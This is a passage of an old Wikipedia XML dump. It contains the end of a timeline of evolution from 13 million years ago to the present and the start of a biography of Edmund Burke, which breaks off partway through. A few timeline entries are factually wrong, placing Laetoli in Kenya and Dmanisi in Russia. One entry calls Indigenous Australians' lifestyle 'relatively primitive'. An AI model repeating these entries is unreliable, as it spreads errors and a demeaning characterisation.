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| align=&quot;RIGHT&quot; nowrap | 13 MYA
| [[Human]] ancestors speciate from the ancestors of the [[orangutan]]. A relative of orangutans: ''[[Lufengpithecus chiangmuanensis]]'' (Northern Thailand). ''[[Pierolapithecus catalaunicus]]'', Spain, possibly common ancestor of great apes and humans.
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| align=&quot;RIGHT&quot; nowrap | 10 MYA
| The [[climate]] begins to dry; [[savanna]]s and [[grassland]]s take over the [[forest]]s. [[Monkeys]] proliferate, and the [[ape]]s go into decline. [[Human]] ancestors speciate from the ancestors of the [[gorilla]]s. This is the heyday of the [[horse]]s as they spread throughout the [[Northern hemisphere]]. After 10 MYA they decline in the face of competition from the [[Artiodactyla|artiodactyls]]. [[Tomarctus]], ancestor of dogs, is an extremely dog like animal.
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| align=&quot;RIGHT&quot; nowrap | 7 MYA
| Biggest primate ''[[Gigantopithecus]]'' is 2 m tall and lives in China (''[[Gigantopithecus blacki]]''), Vietnam, and northern India (''[[Gigantopithecus bilaspurensis]]''). Extinct by 300,000 years ago.  
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| align=&quot;RIGHT&quot; nowrap | 5.6 MYA
| Drying up of the [[Mediterranean Sea]] (the [[Messinian Salinity Crisis|Messinian Event]]).
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| align=&quot;RIGHT&quot; nowrap | 5 MYA
| Volcanoes erupt and create the small area of land that joins North and South America. Mammals from North America move South and cause extinction of mammals there. 
[[Human]] ancestors speciate from the ancestors of the [[chimpanzee]]s. The latest common ancestor is ''[[Sahelanthropus tchadensis]]'' ([[Chad]], [[Sahara]], west of Rift Valley). The earliest in the human branch is ''[[Orrorin tugenensis]]'' (Millennium Man, Kenya). Chimpanzees and humans share 98% of DNA: biochemical similarities are so great that their hemoglobin molecules differ by only one amino acid. One group of chimps can have more genetic diversity than all of the six [[billion]] humans alive today, due to later [[population bottleneck]]ing on the human lineage. Both chimpanzees and humans have a larynx that repositions during the first two years of life to a spot between the pharynx and the lungs, indicating that the common ancestors have this feature, a precursor of speech.  
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| align=&quot;RIGHT&quot; nowrap | 4.8 MYA
| [[Chimpanzee]] size [[Hominini|hominim]] genus, ''[[Ardipithecus]]'' walks upright
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| align=&quot;RIGHT&quot; nowrap | 3.7 MYA
| Some ''[[Australopithecus afarensis]]'' leave [http://www.ntz.info/gen/b00128.html#03281 footprints] on volcanic ash in Laetoli, Kenya (Northern Tanzania).
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| align=&quot;RIGHT&quot; nowrap | 3.5 MYA
| Orangutans diverge into Bornean (''[[Pongo pygmaeus]]'') and Sumatran (''[[Pongo abelii]]'') sub-species. [[Great_white_shark|Great White Sharks]] appear.
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| align=&quot;RIGHT&quot; nowrap | 3 MYA
| The bipedal [[australopithecines]] (early [[hominins]]) evolve in the savannas of [[Africa]] being hunted by ''[[Dinofelis]]''. Species include ''[[Australopithecus africanus]]'', ''[[Australopithecus bosei]]''. Other genera include ''[[Kenyanthropus platyops]]''.  
[[Gorilla]]s die out on the South bank of the [[Congo River]]. [[North America|North]] and [[South America]] become joined, allowing migration of animals. Modern horses, ''[[Equus (genus)|Equus]]'' first appear. ''[[Deinotherium]]'' (4 m tall), is a gigantic cousin of the elephant, with downward pointing tusks in the lower jaw.
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| align=&quot;RIGHT&quot; nowrap | 2.5 MYA
| ''[[Smilodon]]'' ([[Saber-toothed cat]]) appears.
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| align=&quot;RIGHT&quot; nowrap | 2.2 MYA
| Gorillas diverge into the Western lowland (''Gorilla gorilla'') and Eastern (''[[mountain gorilla|Gorilla beringei]]'') sub-species.
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| align=&quot;RIGHT&quot; nowrap | 2 MYA
| ''[[Homo habilis]]'' (handy man) uses primitive stone tools (choppers) in Tanzania. Probably lives with ''[[Paranthropus robustus]]''. Emergence of [[Broca's area]] (speech region of modern human brain). ''Homo'' species are meat-eating while ''Paranthropus'' eats plants and termites. Some chimpanzees (''Pan troglodytes'') at the Southern part of the [[Congo River]] branch off to form the [[Bonobo]]s (''Pan paniscus''/pigmy chimps). Bonobos live in female dominated society. Saber Tooth moves from North America to South America. 
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| align=&quot;RIGHT&quot; nowrap | 1.8 MYA
| ''[[Homo erectus]]'' evolves in [[Africa]] and migrates to other continents, primarily [[Asia#South_Asia_.28or_Indian_Subcontinent.29|South Asia]].
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| align=&quot;RIGHT&quot; nowrap | 1.75 MYA
| Dmanisi man/''[[Homo georgicus]]'' (Georgia, Russia), tiny brain came from Africa, with ''Homo erectus'' and ''Homo habilis'' characteristics. An individual spent the last years of his life with only one tooth by depending on the kindness and compassion of others to obtain sufficient sustenance.
The [[glyptodon]], a giant armadillo the size of a Volkswagen Beetle, lives in southern Peru.
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| align=&quot;RIGHT&quot; nowrap | 1.6 MYA
| Biggest marsupials: Appearance of Giant Short-faced Kangaroo (''[[Procoptodon goliah]]'') in Australia, extinct by 40,000 years ago. At 2 m to 3 m tall and weighing 200 kg to 300 kg, it is the largest kangaroo ever known. Wombat-like ''[[Diprotodon optatum]]'', 2,800 kg, 3 m long, Australia, extinct by 45,000 years ago.
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| align=&quot;RIGHT&quot; nowrap | 1.5 MYA
| Marsupial lion (''[[Thylacoleo carnifex]]'' or Leo) appears in Australia and goes extinct by 46,000 years ago.
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| align=&quot;RIGHT&quot; nowrap | 1 MYA
| Genus ''[[Canis]]'' (coyotes, jackals, wolves, dingoes, domestic dogs) develops as a branch from ''[[Tomarctus]]''. The gray fox, ''[[Urocyon cinereogenteus]]'' is the most primitive canid still alive today.
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| align=&quot;RIGHT&quot; nowrap | 800 kYA
| [[Gray Wolf]] (''Canis lupus'') moves to Arctic North America.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 780 kYA
| The Earth's last (most recent) [[geomagnetic reversal]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 700 kYA
| Common genetic ancestor of humans and Neanderthals.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 500 kYA
| ''Homo erectus'' (Choukoutien, China) uses charcoal to control fire, though they may not know how to create or start it. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 400 kYA
| Eastern gorillas (''[[mountain gorilla|Gorilla beringei]]'') diverge into the eastern lowland (''G. beringei graueri'') and mountain (''G. beringei beringei'') sub-species. Giant deer ''[[Megaloceros giganteus]]'', Ireland; the antlers together span about 3.6 m or larger, extinct by 9.5 kYA. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 355 kYA
| Three 1.5 m tall ''[[Homo heidelbergensis]]'' scramble down [[Roccamonfina]] volcano in Southern Italy, leaving the earliest known ''Homo'' footprints, which were made before the powdery volcanic ash solidified. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 250 kYA
| The [[Polar Bear]] evolves from an isolated high latitude population of [[Brown Bear]]s.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 195 kYA
| [[Omo_Remains|Omo1, Omo2]] (Ethiopia, Omo river) are the earliest known ''[[Homo sapiens]]''.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 160 kYA
| ''Homo sapiens'' (''[[Homo sapiens idaltu]]'') in Ethiopia, Awash River, Herto village, practise mortuary rituals and butcher hippos. Their dead bodies are later covered by volcanic rocks. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 150 kYA
| [[Mitochondrial Eve]] lives in Africa. She is the last female ancestor common to all mitochondrial lineages in humans alive today.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 130 kYA
| ''[[Homo neanderthalensis]]'' (Neanderthal man) evolves from ''Homo heidelbergensis'' and lives in [[Europe]] and the [[Middle East]], buries the dead and cares for the sick. Has hyoid bone (60,000 yrs ago, Kebara cave, Israel), used for speech in modern humans. (Today humans use roughly 6000 spoken languages). Uses spear, probably for stabbing rather than throwing. [[FOXP2]] [[gene]] appears (associated with the development of [[speech]]).
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 100 kYA
| The first anatomically modern humans (''[[Homo sapiens]]'') appear in [[Africa]] by this time or earlier; they derive from ''Homo heidelbergensis''. ''Homo sapiens'' (humans) live in South Africa (Klasies River Mouth) and Israel (Qafzeh and Skhul), probably alongside Neanderthals. Modern humans enter Asia via two routes: one North through the Middle East, and another further South from Ethiopia, via the Red Sea and southern Arabia. (See: [[Single-origin hypothesis]]). Mutation causes skin color changes in order to absorb optimal UV light for different geographical latitudes. Modern &quot;race&quot; formation begins. African populations remain more 'diverse' in their genetic makeup than all other humans, since only a subset of their population (and therefore only a subset of their diversity) leaves Africa. For example, [[Mitochondrial DNA|mtDNA]] shows that an individual with English ancestors is more similar genetically to an individual with Japanese ancestors than are two individuals drawn from two African populations.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 82.5 kYA
| Humans in Zaire fish using sharp blades spears made from animal bones. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 80 kYA
| Humans make bone harpoons in Katanda, Democratic Republic of Congo.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 74 kYA
| Supervolcanoic [[Toba catastrophe theory|eruption in Toba]], Sumatra, Indonesia, causes ''Homo sapiens'' population to crash to 2,000. Six years without a summer are followed by a 1,000 year ice-age. Volcanic ash up to 5 m deep covers India and Pakistan.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 70 kYA
| The most recent [[ice age]], the [[Wisconsin glaciation]], begins. 
Humans in the [[Blombos cave]] in South Africa make tools from bones, show symbolic thinking by creating ochre paintings. They also collect and pierce holes through sea shells to make necklaces. 
[[Giant beaver]]s (''Castoroides ohioensis'', Toronto, Canada) largest rodents, length up to 2.5 m, dies out 10,000 years ago.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 60 kYA
| [[Y-chromosomal Adam]] lives in Africa. He is the last male human from whom all current human Y chromosomes are descended.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 50 kYA
| Modern humans expand from Asia to [[Australia]] (to become today's [[Indigenous Australians]]) and Europe. Expansion along the coasts happens faster than expansion inland. Woolly rhino (''[[Coelodonta antiquus]]'') in Britain.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 40 kYA
| [[Cro-Magnon]] Humans paint and hunt [[mammoth]]s in France. They have extraordinary cognitive powers equivalent to modern humans, which enable them to become predators/hunters at the top of the food chain. Extinction of gigantic marsupials in Australia, probably due to humans, results in the lack of domesticated animals, partially leading to the relatively primitive lifestyle of the humans there, later, when compared to the rest of the world.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 32 kYA
| First sculpture found in Vogelherd, Germany. First (bird bone) flute found in France. Stone tools in Kota Tampan, Malaysia. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 30 kYA
| Modern humans enter North America from [[Siberia]] in numerous waves, some later waves across the Bering land bridge, but early waves probably by island-hopping across the [[Aleutian Islands|Aleutians]]. At least two of the first waves left few or no genetic descendants among Americans by the time Europeans arrive across the [[Atlantic Ocean]]. Humans reach Solomons. Humans move into Japan. Bow and arrows used in [[Sahara]] (grassland). Fired ceramic animal models made in Moravia (Czech Republic).
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 28 kYA
|Oldest known painting: in the Apollo 11 Rock Shelter&lt;ref&gt;&quot;&lt;cite&gt;These stones were found in association with charcoal which has been dated to between 19,000 and 26,000 years old (Wendt 1974, 1976). Border Cave in Kwazulu has yielded engraved bone and wood dated between 35,000 and 37,500 years old (Butzer et al 1979); and a 20,000 year old incised stone was found at Matupi Cave, Zaire (Van Noten 1977).&lt;cite&gt;&quot; [http://www.oubliette.zetnet.co.uk/Six.html Introduction to upper palaeolithic art] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;., Namibia, Africa. A 20 cm-long, 3 cm-wide object found in Hohle Fels Cave near Ulm in the Swabian Jura in Germany is the earliest sculpted stone penis&lt;ref&gt;&quot;&lt;cite&gt;The 20 cm-long, 3 cm-wide stone object, which is dated to be about 28,000 years old, was buried in the famous Hohle Fels Cave near Ulm in the Swabian Jura. &lt;/cite&gt;&quot; [http://news.bbc.co.uk/1/hi/sci/tech/4713323.stm Ancient phallus unearthed in cave] (URL accessed on [[January 9]], [[2005]])&lt;/ref&gt;. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 27 kYA
| ''Neanderthals'' die out leaving ''Homo sapiens'' and ''Homo floresiensis'' as the only living species of the genus ''[[Homo (genus)|Homo]]''. Czech invented textile and pressed weaving patterns into pieces of clay before firing them.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 25 kYA
| Throwing sticks for hunting animals made from [[mammoth]] tusk (Poland).
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 23 kYA
| [[Venus of Willendorf]], a small statuette of a female figure, discovered at a paleolithic site near Willendorf, Austria, dates from this era.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 20 kYA
| Humans leave foot and hand prints in Tibetan plateau. Oil lamps made from animal fats on shells used in caves in Grotte de la Mouthe, France. Bone needles used to sew animal hides. ([[Shandingdong Man]], China). [[Microlith|Microblade]] culture (Northern China). [[Mammoth]] bones used to build houses (Russia).
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 18 kYA
| ''[[Homo floresiensis]]'' existed in the Liang Bua limestone cave on Flores, remote Indonesian island.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 15 kYA
| The [[Wisconsin glaciation|last Ice Age]] ends. Sea levels across the globe rise, flooding many coastal areas, and separating former mainland areas into islands. Japan separates from Asia mainland. Siberia separates from Alaska. Tasmania separates from Australia. Java island forms. Sarawak, Malaysia and Indonesia separate. One group of humans in the [[Fertile Crescent]] of the [[Middle East]] develop [[agriculture]] and, as a result of the benefits it brings, permanent settlements and cities. These appear first in what is now [[Iraq]]. This process of food production, coupled later with the [[Domestication#History_of_domestication|domestication]] of available animals caused a massive increase in [[World population|human population]] that has continued to the present. In this time, also, the [[cave painting]]s of [[Lascaux]] and [[Altamira]] were produced. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 14 kYA
|  [[Holocene extinction event|Megafauna extinction]] starts (continuing to current day), where over 100 large mammal species disappear possibly caused by the expanding human population.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 11.5 kYA
|  Extinction of the [[saber-toothed cat|Sabertooth]] (''[[Smilodon]]''). 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | [[9th_millennium_BC|11 kYA]]
|  [[World population|Human population]] reaches 5 million. Extinction of ''[[Homo floresiensis]]''.
Extinction of [[mammoth|woolly mammoth]]. [[Canis_familiaris#Ancestry_and_history_of_domestication|Domestication of dogs]] (first domesticated animal) from [[Grey Wolf]] subspecies (''Canis lupus pallipes''). All modern dogs today (5 main groups, about 400 breeds) belong to a single subspecies ''[[Canis lupus familiaris]]''.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 10.4 kYA
| [[Domestication|Plant domestication]] begins with cultivation of [[Neolithic founder crops]] in [[Near East]]. [[Jericho]] (modern Israel) settlement with about 19,000 people. 
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | [[8th_millennium_BC|10 kYA]]
| [[Sahara]] is green with rivers, lakes, cattles, crocodiles and [[monsoons]]. Japan's hunter-gatherer [[Jomon]] culture creates world earliest pottery. Humans reach [[Tierra del Fuego]] at the tip of [[South America]], the last continental region to be inhabited by humans (excluding [[Antarctica]]).
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | [[6th_millennium_BC|8 kYA]]
| Domestic [[wheat]] ''[[Wheat|Triticum aestivum]]'' originates in southwest Asia, Syria, Jordan, Turkey, and Iraq, due to hybridisation of [[emmer wheat]] with a goat-grass, ''[[Aegilops tauschii]]''.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | 6.5 kYA
|Two [[rice]] species are domesticated: Asian rice ''[[Rice|Oryza sativa]]'' and African rice ''[[Rice|Oryza glaberrima]]''.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | [[1st_millennium_BC|3 kYA]]
| Humans start using [[iron age|iron tools]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | [[1|AD 1]]
| [[World population|Human population]] 150 million.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | [[1835|AD 1835]]
| [[World population|Human population]] 1 billion.
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | [[1969|AD 1969]]
| Humans [[Project Apollo|walk on the moon]].
|- valign=&quot;TOP&quot;
| align=&quot;RIGHT&quot; nowrap | [[{{CURRENTYEAR}}|AD {{CURRENTYEAR}}]]
| [[World population|Human population]] approaching 6.5 billion&lt;ref&gt;An [[United States Census Bureau]] estimate of the number of people alive on Earth at any given moment. [http://www.census.gov/cgi-bin/ipc/popclockw United States census bureau]&lt;/ref&gt;. 
[[Holocene extinction event]] continues with the observed rate of extinction rising dramatically in the last 50 years. Most biologists believe &lt;ref&gt;The American Museum of Natural History [http://www.amnh.org/museum/press/feature/biofact.html National Survey Reveals Biodiversity Crisis] (URL accessed on [[February 23]], [[2006]])&lt;/ref&gt; that we are at this moment at the beginning of a tremendously accelerated anthropogenic mass extinction. [[E.O. Wilson]] of Harvard, in ''The Future of Life'' (2002), estimates that at current rates of human destruction of the biosphere, one-half of all species of life will be extinct in 100 years.
|}

==See also==
*[[Extinction events]]
*[[Fossils and the geological timescale]]
*[[Geologic time scale]]
*[[List of archaeological periods]]
*[[List of prehistoric mammals]]
*[[Prehistoric life]]
*[[Period (geology)]] - a list of geological periods
*[[Timeline of human evolution]]

==References==
&lt;div style=&quot;font-size: 95%;&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==External links==
*[http://www.ucmp.berkeley.edu Berkeley Evolution]
*[http://tolweb.org/tree Tolweb - Tree of Life]
*[http://www.talkorigins.org/origins/geo_timeline.html A more compact timeline]
*[http://www.palaeos.com Palaeos - The Trace of Life on Earth]
*[http://sci.waikato.ac.nz/evolution/plantEvolution.shtml University of Waikato - Sequence of Plant Evolution]
*[http://sci.waikato.ac.nz/evolution/AnimalEvolution.shtml University of Waikato - Sequence of Animal Evolution]

{{evolution}}
&lt;!-- Categorization --&gt;
[[Category:Timelines]]
[[Category:Evolutionary biology]]
[[Category:Evolution]]</text>
    </revision>
  </page>
  <page>
    <title>Edmund Burke</title>
    <id>10030</id>
    <revision>
      <id>42036227</id>
      <timestamp>2006-03-03T10:23:44Z</timestamp>
      <contributor>
        <ip>62.15.128.103</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Burke-Edmund-LOC.jpg|thumb|Edmund Burke]]
'''[[The Right Honourable]] Edmund Burke''' ([[January 12]], [[1729]] &amp;ndash; [[July 9]], [[1797]]) was an [[Anglo-Irish]] statesman, author, orator and political [[philosophy|philosopher]], who served for many years in the [[British House of Commons]] as a member of the [[Whig]] party.  He is chiefly remembered for his support of the [[United States of America|American]] colonies in the struggle against King [[George III of the United Kingdom|George III]] that led to the [[American Revolution]], as well as for his strong opposition to the [[French Revolution]].  The latter made Burke one of the leading figures within the conservative faction of the Whig party (which he dubbed the &quot;Old Whigs&quot;), in opposition to the pro-revolutionary &quot;New Whigs,&quot; led by [[Charles James Fox]].  Burke also published philosophical work on [[aesthetics]] and founded the ''[[Annual Register]]'', a political review.  In his day he was considered one of the finest parliamentary orators in Britain.

==Life==
Born in [[Dublin]], [[Ireland]], Burke was the son of a [[Church of Ireland|Protestant]] [[solicitor]] and a [[Roman Catholic Church|Catholic]] mother, whose maiden name was Nagle. Burke was raised in his father's faith and would remain throughout his life a practicing [[Anglican]].  He received his early education at a [[Religious Society of Friends|Quaker]] school in Ballitore and in [[1744]] he proceeded to [[Trinity College, Dublin]]. In [[1747]], he set up a Debating Club, known as Edmund Burke's Club, which in 1770 merged with the Historical Club to form the [[College Historical Society (Trinity College, Dublin)|College Historical Society]]. The minutes of the meetings of Burke's club remain in the collection of the Historical Society. He graduated in [[1748]]. Burke's father wished him to study for the [[law]], and with this object he went to [[London]] in [[1750]] and entered the [[Middle Temple]], but soon thereafter he gave up his legal studies in order to travel in Continental [[Europe]].

Burke's first published work, ''[[A Vindication of Natural Society: A View of the Miseries and Evils Arising to Mankind]]'', appeared in [[1756]]. It is unclear to historians whether this was a satire on the views of [[Henry St John, 1st Viscount Bolingbroke|Bolingbroke]], or a serious foray into philosophical [[anarchism]]. Later, after Burke had become a politician, he disavowed this essay.  In [[1757]] he published a treatise on aesthetics, ''[[A Philosophical Enquiry into the Origin of Our Ideas of the Sublime and Beautiful]]'', which attracted the attention of prominent Continental thinkers such as [[Denis Diderot]] and [[Immanuel Kant]].  The following year, with [[Robert Dodsley]], he created the influential ''Annual Register'', a publication in which various authors evaluated the international political events of the previous year.  In London, Burke became closely connected with many of the leading intellectuals and artists, including [[Samuel Johnson]], [[David Garrick]], [[Oliver Goldsmith]], and [[Joshua Reynolds]].  

At about this same time, Burke was introduced to [[William Gerard Hamilton]] (known as &quot;Single-speech Hamilton&quot;).  When Hamilton was appointed [[Chief Secretary for Ireland]], Burke accompanied him to Dublin as his private secretary, a position he maintained for three years. In [[1765]] Burke became private secretary to liberal [[Whig]] statesman [[Charles Watson-Wentworth, 2nd Marquess of Rockingham|Charles Watson-Wentworth]], the [[Marquess of Rockingham]], at the time [[Prime Minister of the United Kingdom]], who remained Burke's close friend and associate until his death from stomach cancer in 1797. 

===Political career===
In [[1765]] Burke entered the [[Parliament of the United Kingdom|British Parliament]] as a member of the House of Commons for [[Wendover]], a [[pocket borough]] in the control of Lord [[Verney]], later 2nd Earl Verney, a close political ally of Rockingham.  Burke took a leading role in the debate over the constitutional limits to the executive authority of the King.  He argued strongly against unrestrained royal power and for the role of [[political party|political parties]] in maintaining a principled opposition capable of preventing abuses by the monarch or by specific factions within the government.  His most important publication in this regard was his ''[http://oll.libertyfund.org/Texts/LFBooks/Burke0061/SelectWorks/HTMLs/0005-01_Pt02_Thoughts.html Thoughts on the Cause of the Present Discontents]'' of [[1770]].  Burke expressed his support for the grievances of the American colonies under the government of King George III and his appointed representatives.  He also campaigned against the persecution of [[Roman Catholic Church|Catholics]] in [[Ireland]] and denounced the abuses and corruption of the [[British East India Company|East India Company]].

In [[1769]] Burke published, in reply to [[George Grenville]], his pamphlet on ''The Present State of the Nation''. In the same year he purchased the small estate of Gregories near [[Beaconsfield]]. The 600-acre estate was purchased with mostly borrowed money, and though it contained an art collection that included works by [[Titian]], Gregories nevertheless would prove to be a heavy financial burden on the MP in the following decades. His speeches and writings had now made him famous, and among other effects had brought about the suggestion that he was the author of the ''Letters of Junius''.  In [[1774]] he was elected member for [[Bristol]], at the time &quot;England's second city&quot; and a large constituency with a genuine electoral contest.  His address to the electors of Bristol was noted for its defense of the principles of [[representative democracy]] against the notion that elected officials should act narrowly as advocates for the interests of their constituents.  Burke's arguments in this matter helped to formulate the [[Delegate model of representation|delegate]] and [[Trustee model of representation|trustee]] models of political representation.  His support for [[free trade]] with Ireland and his advocacy of Catholic emancipation were unpopular with his constituents and caused him to lose his seat in [[1780]].  For the remainder of his parliamentary career, Burke sat for [[Malton, North Yorkshire|Malton]], another pocket borough controlled by Rockingham.  

Under the [[Tory]] administration of [[Frederick North, Lord North|Lord North]] ([[1770]]-[[1782]]) the American war went on from bad to worse, and it was in part owing to the splendid oratorical efforts of Burke that it was at last brought to an end. To this period belong two of his most brilliant performances, his speech on ''Conciliation with America'' ([[1775]]), and his ''Letter to the Sheriffs of Bristol'' ([[1777]]). The fall of North led to Rockingham being recalled to power.  Burke became [[Paymaster of the Forces]] and [[Privy Councillor]], but Rockingham's unexpected death in July of [[1782]] put an end to his administration after only a few months.

Burke then supported fellow Whig [[Charles James Fox]] in his coalition with Lord North, a decision that many came to regard later as his greatest political error.  Under that short-lived coalition he continued to hold the office of Paymaster and he distinguished himself in connection with Fox's India Bill. The coalition fell in [[1783]], and was succeeded by the long Tory administration of [[William Pitt the Younger]], which lasted until [[1801]]. Burke was accordingly in opposition for the remainder of his political life. In [[1785]] he made his great speech on ''The Nabob of Arcot's Debts'', and in the next year ([[1786]]) he moved for papers in regard to the [[India]]n government of [[Warren Hastings]], the consequence of which was the [[impeachment]] trial of that statesman.  The trial, of which Burke was the leading promoter, lasted from [[1787]] until Hastings's eventual acquittal in [[1794]].

===Response to the French Revolution===
Given his record as a strong supporter of American independence and as a campaigner against royal prerogative, many were surprised when Burke published his ''[[Reflections on the Revolution in France]]'' in [[1790]].  With it, Burke became one of the earliest and fiercest British critics of the French Revolution, which he saw not as movement towards a representative, constitutional democracy but rather as a violent rebellion against tradition and proper authority and as an experiment disconnected from the complex realities of human society, which would end in disaster.  Former admirers of Burke, such as [[Thomas Jefferson]] and fellow Whig politician [[Charles James Fox]], proceeded to denounce Burke as a [[reactionary]] and an enemy of democracy.  [[Thomas Paine]] penned ''[[The Rights of Man]]'' in [[1791]] as a response to Burke.  However, other pro-democratic politicians, such as the American [[John Adams]], agreed with Burke's assessment of the French situation.  Many of Burke's dire predictions for the outcome of the French Revolution were later borne out by the execution of King [[Louis XVI of France|Louis XVI]], the subsequent [[Reign of Terror]], and the eventual rise of [[Napoleon]]'s autocratic regime.

These events, and the disagreements which arose regarding them within the Whig party, led to its breakup and to the rupture of Burke's friendship with Fox. In [[1791]] Burke published his ''[[Appeal from the New to the Old Whigs]]'', in which he renewed his criticism of the radical revolutionary programs inspired by the French Revolution and attacked the Whigs who supported them.  Eventually most of the Whigs sided with Burke and voted their support for the conservative government of [[Prime Minister]] [[William Pitt the Younger]], which declared war on the revolutionary government of France in [[1793]].

In [[1794]] a terrible blow fell upon Burke in the loss of his son Richard, to whom he was tenderly attached, and in whom he saw signs of promise, which were not patent to others, and which in fact appear to have been non-existent. In the same year the Hastings trial came to an end. Burke felt that his work was done and indeed that he was worn out; and he took leave of Parliament. The King, whose favour he had gained by his attitude on the French Revolution, wished to make him Lord Beaconsfield, but the death of his son had deprived such an honour of all its attractions, and the only reward he would accept was a pension of £2,500. Even this modest reward was attacked by the [[John Russell, 6th Duke of Bedford|Duke of Bedford]] and the [[James Maitland, 8th Earl of Lauderdale|Earl of Lauderdale]], to whom Burke made a crushing reply in the ''Letter to a Noble Lord'' ([[1796]]). His last publication were the ''Letters on a Regicide Peace'' ([[1796]]), called forth by negotiations for peace with France.

Burke died in [[Beaconsfield]], [[Buckinghamshire]] in [[1797]].

==Influence and reputation==
{{liberalism}}
{{conservatism}}
Burke's ''Reflections on the Revolution in France'' was extremely controversial at the time of its publication.  Its intemperate language and factual inaccuracies even convinced many readers that Burke had lost his judgment.  But as the subsequent violence and chaos in France vindicated much of Burke's assessment, it grew to become his best-known and most influential work.  In the English-speaking world, Burke is often regarded as one of the fathers of modern [[conservatism]], and his thinking has exerted considerable influence over the political philosophy of such [[classical liberalism|classical liberals]] as [[Friedrich Hayek]] and [[Karl Popper]].  Burke's 'liberal' conservatism, which opposes the implementation of grand theoretical plans of radical political change but recognizes the necessity of gradual reform, must not be confused with the autocratic conservatism of such anti-revolutionary Continental figures as [[Joseph de Maistre]].

Two contrasting assessments of Burke were offered long after his death by [[Karl Marx]] and [[Winston Churchill]].  According to the former's ''[[Das Kapital]]'':

:The sycophant—who in the pay of the English oligarchy played the romantic ''laudator temporis acti'' against the French Revolution just as, in the pay of the North American colonies at the beginning of the American troubles, he had played the liberal against the English oligarchy—was an out-and-out vulgar [[bourgeois]].

According to Churchill's &quot;Consistency in Politics&quot;:

:On the one hand [Burke] is revealed as a foremost apostle of Liberty, on the other as the redoubtable champion of Authority. But a charge of political inconsistency applied to this life appears a mean and petty thing. History easily discerns the reasons and forces which actuated him, and the immense changes in the problems he was facing which evoked from the same profound mind and sincere spirit these entirely contrary manifestations. His soul revolted against tyranny, whether it appeared in the aspect of a domineering Monarch and a corrupt Court and Parliamentary system, or whether, mouthing the watch-words of a non-existent liberty, it towered up against him in the dictation of a brutal mob and wicked sect. No one can read the Burke of Liberty and the Burke of Authority without feeling that here was the same man pursuing the same ends, seeking the same ideals of society and Government, and defending them from assaults, now from one extreme, now from the other.

Though still controversial, Burke is today widely regarded as one of the major political thinkers of the [[English language|English-speaking]] world.  His writings, like his speeches, are characterised by the welding together of knowledge, thought, and feeling. Unlike most orators, he is more successful as a writer than he was as a speaker. He often rose too far above the heads of his audience, which the continued splendour of his declamation, his inordinate copiousness, and his excessive vehemence, often passing into fury, at length wearied, and even disgusted. Burke was known as the 'Dinner Bell' to his contemporaries because MPs would leave the chamber to look for dinner when he rose to speak [http://www.pat2k.com/trade/otto_ft_hist.htm]. But in his writings are found some of the grandest examples of a fervid and richly elaborated eloquence. Though he was never admitted to the Cabinet, he guided and influenced largely the policy of his party.  His efforts in the direction of economy and order in administration at home, and on behalf of a more just government in America, [[India]], and [[Ireland]], as well as his contributions to political philosophy, constitute his most significant legacy.

==Speeches==
Burke made several famous speeches while serving in the [[British House of Commons]].
*[[On American Taxation]] ([[1774]]): ''&quot;Whether you were right or wrong in establishing the Colonies on the principles of commercial monopoly, rather than on that of revenue, is at this day a problem of mere speculation. You cannot have both by the same authority. To join together the restraints of an universal internal and external monopoly, with an universal internal and external taxation, is an unnatural union; perfect uncompensated slavery.&quot;''

